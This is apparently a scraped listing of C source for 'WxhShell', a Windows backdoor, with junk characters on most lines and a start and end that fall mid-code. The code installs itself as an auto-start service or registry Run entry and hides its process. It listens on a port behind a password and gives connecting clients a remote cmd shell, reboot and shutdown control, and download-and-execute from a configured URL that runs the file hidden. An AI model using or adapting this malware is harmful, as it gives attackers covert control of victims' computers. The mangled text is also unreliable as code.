    break; .|;`qU o  
    } x~rIr#o  
  // 关机 aPWlV= oG  
  case 'd': { _py%L+&{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lZ'-?xo  
    if(Boot(SHUTDOWN)) +eg$Z]Lht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |W<wPmW_{+  
    else { d~u+:[\=/  
    closesocket(wsh); )=8MO-{  
    ExitThread(0); :%~+&qS  
    } 76(-!Z@=J  
    break; TU&gj1  
    } 17 Hdj  
  // 获取shell O|}97a^  
  case 's': { Tl6%z9rY@  
    CmdShell(wsh); FhVi|V a  
    closesocket(wsh); )<nr;n  
    ExitThread(0); !c(B c^  
    break; 3V>2N)3`A  
  } 1-!u=]JDE  
  // 退出 :''^a  
  case 'x': { ~m2tWi@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E`}KVi57  
    CloseIt(wsh); # XE`8$  
    break; E=+v1\t)]  
    } a=>PGriL  
  // 离开 Ew~piuj  
  case 'q': { 3iMh)YH5b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sg RY`U.C  
    closesocket(wsh); ZnVi.s ~1V  
    WSACleanup(); pj4M|'F7  
    exit(1); 5B)Z@-x2  
    break; I@76ABu^  
        } zc%#7"FM  
  } &W)Lzpx8c  
  } 96x0'IsaG  
apPn>\O  
  // 提示信息 [Dni>2@0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u2,V34b-  
} Y5M>&}N  
  } !)FM/Xj,o  
8p p^ w  
  return; 4RTuy+ M  
} A8Tq2]"* S  
Ju4={^#  
// shell模块句柄 3C{3"bP  
int CmdShell(SOCKET sock) @=B'<&g$Xv  
{ )>abB?RZ  
STARTUPINFO si; :yO.Te F  
ZeroMemory(&si,sizeof(si)); u^&2T(xG i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P]hS0,sE<(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h)2W}p{a4=  
PROCESS_INFORMATION ProcessInfo; dP}=cZ~  
char cmdline[]="cmd"; KAH9?zI)M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2A'!kd$2  
  return 0; U`Bw2Vdk]S  
} 8DHohhN  
+dIDFSd  
// 自身启动模式 ('BFy>@  
int StartFromService(void) OLp;eb1g  
{ Exd$v"s Y  
typedef struct g(){wCI  
{ |d =1|C%,  
  DWORD ExitStatus; o\6A]T=R  
  DWORD PebBaseAddress; *Y(v!x \L  
  DWORD AffinityMask; uH 1%diL^  
  DWORD BasePriority; f Glvx~  
  ULONG UniqueProcessId; Gu?O yL  
  ULONG InheritedFromUniqueProcessId; %GG:F^X#  
}   PROCESS_BASIC_INFORMATION; t ' _Au8  
f6@fi`U ,  
PROCNTQSIP NtQueryInformationProcess; n<\ W Vi  
RQiGKz5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,w&8 &wj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zG)XB*c  
j}}:&>;  
  HANDLE             hProcess; |eH >55 b  
  PROCESS_BASIC_INFORMATION pbi; Ct2m l  
IO3`/R-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NGZEUtj  
  if(NULL == hInst ) return 0; R+,eXjz"  
m:U.ao6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gw[\7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `@?f@p$(B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <,/k"Y=  
9ReH@5_bGM  
  if (!NtQueryInformationProcess) return 0; el GP2x#:  
aBv3vSq> Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5MUM{(C  
  if(!hProcess) return 0; 1UG5Q-  
p4mlS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?4aSssE  
Ws2SD6!4`  
  CloseHandle(hProcess); V}<Hx3!  
,9jq @_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sDNV_} h  
if(hProcess==NULL) return 0; R&Mv|R   
.<ux Z  
HMODULE hMod; =D88jkQe"  
char procName[255]; /HCd52  
unsigned long cbNeeded; rw> X JE  
IO/%X;Y_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R1$O)A}k  
;e~Z:;AR  
  CloseHandle(hProcess); i=67  
7g@P$e]  
if(strstr(procName,"services")) return 1; // 以服务启动 2p'ujAK  
*a }NRf}W  
  return 0; // 注册表启动 fu3~W  
} s%Ez/or(T  
|KSd@   
// 主模块 Fh  t$7V  
int StartWxhshell(LPSTR lpCmdLine) 2(SK}<X  
{ MR8\'0]  
  SOCKET wsl; z@@w?>*  
BOOL val=TRUE; Lbb{z  
  int port=0; K5X,J/n  
  struct sockaddr_in door; 9nW/pv  
1e=<df  
  if(wscfg.ws_autoins) Install(); xDtq@Rb}  
=apcMW(zn  
port=atoi(lpCmdLine); #H]b Xr  
g )H>Uu5@  
if(port<=0) port=wscfg.ws_port; o#(z*v@  
ki/xo^Y2<  
  WSADATA data; YbS$D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )na 8a!  
7PE3>cD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0XwDk$l<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); We7~tkl(  
  door.sin_family = AF_INET; ]WLQ q4q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m$glRs @  
  door.sin_port = htons(port); E+XpgR5  
8)I,WWj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UuDT=_1Sh  
closesocket(wsl); m(Hb! RT  
return 1; B I9~% dm  
} 77y_?di^I  
SCbN(OBN!  
  if(listen(wsl,2) == INVALID_SOCKET) { z=ItKoM*<  
closesocket(wsl); MF+J3)  
return 1; ~lB im$o  
} j9)WInYc:  
  Wxhshell(wsl); 3@u<Sa  
  WSACleanup(); (#zSVtZ  
Rx';P/F0C  
return 0; R7'a/  
Vp3r  
} |Ld/{&Qr  
vfb~S~|U6g  
// 以NT服务方式启动 D$k<<dvv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >:5^4/fo*  
{ Vs>/q:I  
DWORD   status = 0; UsT+o  
  DWORD   specificError = 0xfffffff; ?sF<L/P0 F  
!@ERAPuk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $i# 1<Qj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; | CNsa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k+*DPo@)  
  serviceStatus.dwWin32ExitCode     = 0; V*an0@  
  serviceStatus.dwServiceSpecificExitCode = 0; Xy_ <Yqx}  
  serviceStatus.dwCheckPoint       = 0; r >%reS  
  serviceStatus.dwWaitHint       = 0; Dx<">4   
gQ]WNJ~>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^4jIT1  
  if (hServiceStatusHandle==0) return; f? sW^ d;  
4[@`j{  
status = GetLastError(); gO C5  
  if (status!=NO_ERROR) li>`9qCmI  
{ o_un=ygU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,`<w#  
    serviceStatus.dwCheckPoint       = 0; 1PwqW g-\\  
    serviceStatus.dwWaitHint       = 0; ]<3$Sx_{y  
    serviceStatus.dwWin32ExitCode     = status; qEd!g,Sx  
    serviceStatus.dwServiceSpecificExitCode = specificError; AEjkqG4qv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ts2;?`~  
    return; Z4eu'.r-y~  
  } [/.5{|&GSt  
iUcDj:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eBZ^YY<*g  
  serviceStatus.dwCheckPoint       = 0; hdFIriE3  
  serviceStatus.dwWaitHint       = 0; L2v j)(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d,"?tip/SX  
} eK }AVz}k  
&<{=  
// 处理NT服务事件,比如:启动、停止 YuO-a$BP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JXR_klx  
{ SG6@Rn*^  
switch(fdwControl) A]VcQ_e  
{ C)2Waj}  
case SERVICE_CONTROL_STOP: JaC =\\B  
  serviceStatus.dwWin32ExitCode = 0; :5/P{Co (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k!/"J ;  
  serviceStatus.dwCheckPoint   = 0; zbL!q_wO  
  serviceStatus.dwWaitHint     = 0; r[P5 ufy2]  
  { 6#NptXB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XwlA W7lU=  
  } <OG rC .k}  
  return; }m6zu'CV  
case SERVICE_CONTROL_PAUSE: FB<#N+L\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'B;aXy/JC  
  break; >BC?% |l  
case SERVICE_CONTROL_CONTINUE: oH/6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W_z2Fs"A  
  break; + V:P-D  
case SERVICE_CONTROL_INTERROGATE: 5l"EQ9  
  break; [qhQj\cK  
}; +J`EBoIo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ Y[  
}  Lb# e  
#&+0hS  
// 标准应用程序主函数 {Mt4QA5iZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;g[C=yhK`C  
{ !f~ =p  
]fH U/%  
// 获取操作系统版本 "*o54z5"  
OsIsNt=GetOsVer(); y( M-   
GetModuleFileName(NULL,ExeFile,MAX_PATH); _I;+p eq  
L,Jl# S  
  // 从命令行安装 S"FIQ&n  
  if(strpbrk(lpCmdLine,"iI")) Install(); $t' .  
&V;^xMO!  
  // 下载执行文件 8nOMyNpy~M  
if(wscfg.ws_downexe) { ?2ZggV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b-}nv`9C  
  WinExec(wscfg.ws_filenam,SW_HIDE); >h3r\r\n3  
} +dWx?$n  
K\5'pp1  
if(!OsIsNt) { S4RvWTtQV  
// 如果时win9x,隐藏进程并且设置为注册表启动 m&)5QX  
HideProc(); L(tA~Z"k  
StartWxhshell(lpCmdLine); _= RA-qZ"  
} _is<.&f6  
else =2HR+  
  if(StartFromService()) & [)1LRt_  
  // 以服务方式启动 e|:#Y^  
  StartServiceCtrlDispatcher(DispatchTable); N>z<v\`  
else b2;+a(  
  // 普通方式启动 #E`-b9Q  
  StartWxhshell(lpCmdLine); Z5aU7  
A^+G w\  
return 0; fFD:E} >5  
} / d S!  
QG\lXY,  
k%w5V>]1  
G #.(% ,  
=========================================== ns_5|*'  
!6_lD 0  
:>gzWVE<  
dI!x Ai  
@=o1q=5@8  
&IGTCTBP  
" DXPiC[g]  
,: X+NQ  
#include <stdio.h> /{pVYY  
#include <string.h> eto3dJ!R  
#include <windows.h> 9g3J{pKcZ  
#include <winsock2.h> YDBQ6X  
#include <winsvc.h> yYmV^7G  
#include <urlmon.h> ^p#f B4z  
fI"q/+  
#pragma comment (lib, "Ws2_32.lib") V$u~}]z  
#pragma comment (lib, "urlmon.lib") ~2xC.DF_N  
Pf s_s6  
#define MAX_USER   100 // 最大客户端连接数 {~DYf*RZ  
#define BUF_SOCK   200 // sock buffer [9f TN2'z  
#define KEY_BUFF   255 // 输入 buffer k 8^!5n  
nOxCni~ T  
#define REBOOT     0   // 重启 a' "4:(L  
#define SHUTDOWN   1   // 关机 H!U\;ny  
$ JI`&  
#define DEF_PORT   5000 // 监听端口 JlAUie8  
YH33E~f  
#define REG_LEN     16   // 注册表键长度 XWvT(+J  
#define SVC_LEN     80   // NT服务名长度 9tmYrhb$  
<b!ieK?\F3  
// 从dll定义API MCHRNhb9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %=x|.e@J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y%9S4be  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uN bOtA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IWeQMwg  
@/}{Trmg/  
// wxhshell配置信息 sGIY\%  
struct WSCFG { :A35 ?9E?  
  int ws_port;         // 监听端口 zHi+I 7  
  char ws_passstr[REG_LEN]; // 口令 d=%:rLm$  
  int ws_autoins;       // 安装标记, 1=yes 0=no X%"P0P  
  char ws_regname[REG_LEN]; // 注册表键名 uG2(NwOL  
  char ws_svcname[REG_LEN]; // 服务名 CC 1\0$ /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eUvIO+av  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wH1 E7LY|R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /G$8j$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J<x?bIetj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U,"lOG'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i:`ur  
$Z)Dvy|  
}; XQ.czj  
$Gb] K{e  
// default Wxhshell configuration .+3= H@8h  
struct WSCFG wscfg={DEF_PORT, |+Z, 7~!  
    "xuhuanlingzhe", l c)*HYqU  
    1, jR7 , b5  
    "Wxhshell", }$u]aX<  
    "Wxhshell", [ P\3XSR  
            "WxhShell Service", Eq zS={Olj  
    "Wrsky Windows CmdShell Service", h: :'s&|  
    "Please Input Your Password: ", "pq#A*  
  1, ]#]m_+} Z  
  "http://www.wrsky.com/wxhshell.exe", Saa# Mj`M  
  "Wxhshell.exe" \dj&4u3  
    }; AfKJa DKf  
~[XDK`B  
// 消息定义模块 jI@0jxF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -e#YWMo(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B e+'&+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {\22C `9t  
char *msg_ws_ext="\n\rExit."; #.p^ S0\pw  
char *msg_ws_end="\n\rQuit."; a9z|ef  
char *msg_ws_boot="\n\rReboot..."; "UVqkw,vt  
char *msg_ws_poff="\n\rShutdown..."; DUf=\p6`f  
char *msg_ws_down="\n\rSave to "; m`C(y$8fU  
quc?]rb  
char *msg_ws_err="\n\rErr!"; vPEL'mw/3#  
char *msg_ws_ok="\n\rOK!"; [0CoQ5:d?&  
b)@%gS\F  
char ExeFile[MAX_PATH]; 3F2> &p|7  
int nUser = 0; 7k{Oae\$  
HANDLE handles[MAX_USER]; DG8]FhD^b  
int OsIsNt; Et@= <g  
\{J gjd  
SERVICE_STATUS       serviceStatus; %? +A.0]E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z"Z&X0O j  
Nj||^k  
// 函数声明 &,+G}  
int Install(void); `*e',j2}UU  
int Uninstall(void); 5sC{5LJzC  
int DownloadFile(char *sURL, SOCKET wsh); q /EK ]B  
int Boot(int flag); `L`*jA+_  
void HideProc(void); ghd~p@4  
int GetOsVer(void); <lZyUd  
int Wxhshell(SOCKET wsl); AbUPJF"F  
void TalkWithClient(void *cs); 9,Zg'4",d  
int CmdShell(SOCKET sock); #6'oor X  
int StartFromService(void); Vnuz! 6.  
int StartWxhshell(LPSTR lpCmdLine); {'Nvs_{6  
`Bx3grZ 7&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QQP bKok>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i;xH  
BZEY^G  
// 数据结构和表定义  fI[tU(x  
SERVICE_TABLE_ENTRY DispatchTable[] = YIb5jK `  
{ p3I{  
{wscfg.ws_svcname, NTServiceMain}, )0`;leli  
{NULL, NULL}  =IV_yor  
};  ])}{GW  
&H,5f#  
// 自我安装 q a#Fa)g*  
int Install(void) 6FG h=~{3,  
{ t ),~w,7(J  
  char svExeFile[MAX_PATH]; +Y(cs&V*  
  HKEY key; t3u"2B7oG  
  strcpy(svExeFile,ExeFile); bO1J#bcZ  
raY5 nc{  
// 如果是win9x系统,修改注册表设为自启动 S$\l M<M  
if(!OsIsNt) { owZj Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-_)w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '{XDhK  
  RegCloseKey(key); :k8>)x] )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *MW)APw=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UBuk-tq  
  RegCloseKey(key); ,WA7Kp9  
  return 0; 1"A1bK  
    } 3sc5meSu'  
  } S6,AY(V  
} ;YNN)P%"  
else { \c>9f"jS_  
53P\OG^G`  
// 如果是NT以上系统,安装为系统服务 Q6Y1Jr">X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZgF-.(GV  
if (schSCManager!=0) X}p#9^%N  
{ %Fq"4%  
  SC_HANDLE schService = CreateService -[i9a:eRM  
  ( SSycQ4[{o  
  schSCManager, ~1wAk0G`n  
  wscfg.ws_svcname, xB3;%Lc  
  wscfg.ws_svcdisp, >8Zz<S&z  
  SERVICE_ALL_ACCESS, 67%eAS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }$#e&&)n  
  SERVICE_AUTO_START, +mhYr]Z  
  SERVICE_ERROR_NORMAL, =$Sf]L  
  svExeFile, (f5!36mz  
  NULL, J|_&3@r  
  NULL, Dk|S`3  
  NULL, cy7GiB2'  
  NULL, 5^cPG" 4@  
  NULL 'x<gC"0A  
  ); X'.}#R1  
  if (schService!=0) 5p"n g8nR  
  { xr?=gY3E;  
  CloseServiceHandle(schService); 5 g99t$p9  
  CloseServiceHandle(schSCManager); UoPd>q4Uj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l>h%J,W  
  strcat(svExeFile,wscfg.ws_svcname); ~6.AE/ow  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fF[n?:VV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |TF,Aj   
  RegCloseKey(key); \D?6_ ,O  
  return 0; hD{+V!{  
    } B<DvH"+$  
  } l@Ma{*s6=5  
  CloseServiceHandle(schSCManager); &WN4/=QW-J  
} bB3Mpaw@  
} j+]>x]c0  
_o~<f)E[9  
return 1; <8Nh dCO6  
} ].]yqD4P  
kNUbH!PO  
// 自我卸载 "6^tG[G%  
int Uninstall(void) mA(K`"Bfh  
{ tf|/_Y2  
  HKEY key; #!rng]p  
j/3827jw=  
if(!OsIsNt) { VF!?B>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RO'MFU<g  
  RegDeleteValue(key,wscfg.ws_regname); ZJsc?*@  
  RegCloseKey(key); 4pV.R5:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @!'Pr$`  
  RegDeleteValue(key,wscfg.ws_regname); c_}i(HQ  
  RegCloseKey(key); rOyK==8/Fg  
  return 0; IGEf*!  
  } Namw[Tg J  
} Yfk[mo  
} af\>+7x93  
else { kLR4?tX!  
m46Q%hwV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sI/Hcm  
if (schSCManager!=0) \ lP c,8)  
{ Zw| IY9D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6(sqS~D  
  if (schService!=0) yU\&\fD>j  
  { \v9IbU*js  
  if(DeleteService(schService)!=0) { ~-GgVi*I  
  CloseServiceHandle(schService); u@}((V  
  CloseServiceHandle(schSCManager); T=:O(R1*0  
  return 0; \:8~na+(  
  } /tc*jXB  
  CloseServiceHandle(schService); !~04^(  
  } p&B98c  
  CloseServiceHandle(schSCManager); &zlwV"W  
} UA>~xJp=  
} uT8/xNB!  
$Eg|Qc-1  
return 1; @}!1Uk3ud  
} {#: js  
upQ:C>S  
// 从指定url下载文件 T.d+@ZV<#  
int DownloadFile(char *sURL, SOCKET wsh) Q7&Yy25   
{ #R"9(Q&  
  HRESULT hr; {\ P$5O{%  
char seps[]= "/"; W)1)zOD  
char *token; WfBA5  
char *file; apa~Is1  
char myURL[MAX_PATH]; 7S7gU\qOj  
char myFILE[MAX_PATH]; /S$p_7N  
:HYqm*v;W  
strcpy(myURL,sURL); bWt>tEnf  
  token=strtok(myURL,seps); vI{JBWE,S  
  while(token!=NULL) W tnZF]1:u  
  { S9 <J \`FG  
    file=token; \U4O*lq  
  token=strtok(NULL,seps); VmF?8Vi4  
  } 6b9Ddb*  
xYc)iH6&  
GetCurrentDirectory(MAX_PATH,myFILE); &1%W-&bc6  
strcat(myFILE, "\\"); 'j !!h4  
strcat(myFILE, file); sDK lbb  
  send(wsh,myFILE,strlen(myFILE),0); P_j ?V"i<  
send(wsh,"...",3,0); [^A.$,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jn +[:s.  
  if(hr==S_OK) ^ox^gw)  
return 0; 7e/Uc!&*  
else sVZb[|zSri  
return 1; j,80EhZ  
hc5M)0d  
} 4 `Z@^W  
pB@8b$8(Z  
// 系统电源模块 'BpK(PlUh  
int Boot(int flag) pNcNU[c  
{ *SzP7]1m  
  HANDLE hToken; AEX]_1TG  
  TOKEN_PRIVILEGES tkp; #57nm]?  
oylY1~~}0K  
  if(OsIsNt) { ^uW](2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ YWw7q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H?sl_3- #  
    tkp.PrivilegeCount = 1; 9.qIhg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >>rW-&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?t'ZX~k  
if(flag==REBOOT) { bESmKe(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )@Z J3l.  
  return 0; ;j-@ $j  
} U/>f" F  
else { T[N:X0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o\@1\#a  
  return 0; 9<k<HmkD  
} j?i Ur2  
  } 8JAA?0L"'  
  else { $^.LZ1Jd  
if(flag==REBOOT) { d;|e7$F'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8X!UtHml  
  return 0; [z]@ <99/  
} p/:)Z_  
else { D'YF [l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i6-q%%]6  
  return 0; "FT5]h  
} =$}P'[V  
} b=9(gZ 9  
|VB}Kv  
return 1; }9R45h}{<  
} nZfTK>)A0  
l$z[Vh^UU<  
// win9x进程隐藏模块 Ms<^_\iPN  
void HideProc(void) 7I/Sfmqy"O  
{ -g]/Ko]2@$  
x +! <_p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V2ypmkn 8&  
  if ( hKernel != NULL ) 'X_iiR8n@p  
  {  @zEEX9U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y$--Hp4   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c,Zs. kC  
    FreeLibrary(hKernel); "6~pTHT  
  } U> (5J,G  
7OS\j>hb~  
return; uTpKT7t  
} 79~,KFct  
BcX}[?c  
// 获取操作系统版本 2}'qu)  
int GetOsVer(void) qDqIy+WR  
{ b+'G^!JR  
  OSVERSIONINFO winfo; &vj+3<2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bg-C:Ok 2'  
  GetVersionEx(&winfo); =w?-R\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qRJg/~_h{  
  return 1; "z69jxXo  
  else Q`7!~qV0=  
  return 0; '/\@Mc4T  
} FZ #ngrT  
WVftLIJ  
// 客户端句柄模块 r[eZV"  
int Wxhshell(SOCKET wsl) m`g%\o^6i  
{ MfJk`-%~  
  SOCKET wsh; Xf:CGR8_  
  struct sockaddr_in client; mbsdiab#N  
  DWORD myID; ^v}Z5,aN  
Z9i,#/  
  while(nUser<MAX_USER) L4zSro:Si  
{ ldM [8  
  int nSize=sizeof(client); Oe'Nn250  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c#OZ=`  
  if(wsh==INVALID_SOCKET) return 1; S&6}9r  
.hg<\-:_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H #J"'  
if(handles[nUser]==0) :u'X ~ID[  
  closesocket(wsh); DGC -`z  
else Umm_FEU#]  
  nUser++; %bt2^  
  } R# 8D}5[&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e=%7tK*  
(gNI6;P;}  
  return 0; Qf414 oW  
} Nn ?BD4i  
rzDqfecOmW  
// 关闭 socket en=Z[ZIPO  
void CloseIt(SOCKET wsh) (iP,F]  
{ fm;1Iu#  
closesocket(wsh); OZbwquF@  
nUser--;  elWN-~  
ExitThread(0); 6[69|&  
} ~1S7\e7{  
itm;,Sbg  
// 客户端请求句柄 l'W?X '  
void TalkWithClient(void *cs) 3SpDV'}  
{ FMwT4]y  
&m5WmEz>`  
  SOCKET wsh=(SOCKET)cs; ]RPv@z:V  
  char pwd[SVC_LEN]; +; C|5y  
  char cmd[KEY_BUFF]; tW|B\p}  
char chr[1]; && ecq   
int i,j; Wv77ef  
-v&Q 'a  
  while (nUser < MAX_USER) { MCurKT<pQ  
1ScfX\ F=  
if(wscfg.ws_passstr) { BNyDEFd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nv{ou [vQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L -b~#  
  //ZeroMemory(pwd,KEY_BUFF); u,PrEmy-  
      i=0; m,K\e  
  while(i<SVC_LEN) { z Rz#0  
8!3+Obj  
  // 设置超时 @IB8(TZ5I  
  fd_set FdRead; "3Dvc7V  
  struct timeval TimeOut; VDPqI+z  
  FD_ZERO(&FdRead); k5w+{iOh  
  FD_SET(wsh,&FdRead); ? Q.Y  
  TimeOut.tv_sec=8; CLQ\Is^]  
  TimeOut.tv_usec=0; Yl&eeM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5>j,P   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nkS6A}i3o  
3dcZ1Yrn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5`^"<wNI  
  pwd=chr[0]; , $}P<WZMu  
  if(chr[0]==0xd || chr[0]==0xa) { \z:p"eua z  
  pwd=0; m]Z+u e  
  break; &'WgBjP  
  } *#N%3:@T  
  i++; 7vNS@[8  
    } T(a* d7  
O_-.@uo./(  
  // 如果是非法用户,关闭 socket OA%.>^yb@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k,X)PQc  
} g[8V fIe  
5f/[HO)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :7W5R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s<E_74q1  
np=m ~k  
while(1) { ? @h  
`gfK#0x#  
  ZeroMemory(cmd,KEY_BUFF); '(+l77G  
*%B%BJnX  
      // 自动支持客户端 telnet标准   { zlq6z  
  j=0; ^nkwT~Bya  
  while(j<KEY_BUFF) { mTZlrkT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6jCg7Su]  
  cmd[j]=chr[0]; ;NRm ,  
  if(chr[0]==0xa || chr[0]==0xd) { vIN6W   
  cmd[j]=0; DQ9 <N~l  
  break; |g8 ]WFc  
  } g\rujxHlH  
  j++; PA`b~Ct  
    } I #1_  
0Yfk/}5  
  // 下载文件 wLkHU"'   
  if(strstr(cmd,"http://")) { m$QFtrvy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F:hJ^:BP  
  if(DownloadFile(cmd,wsh)) DMfC(w.d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r\_rnM)_xN  
  else p"q-sMYl  
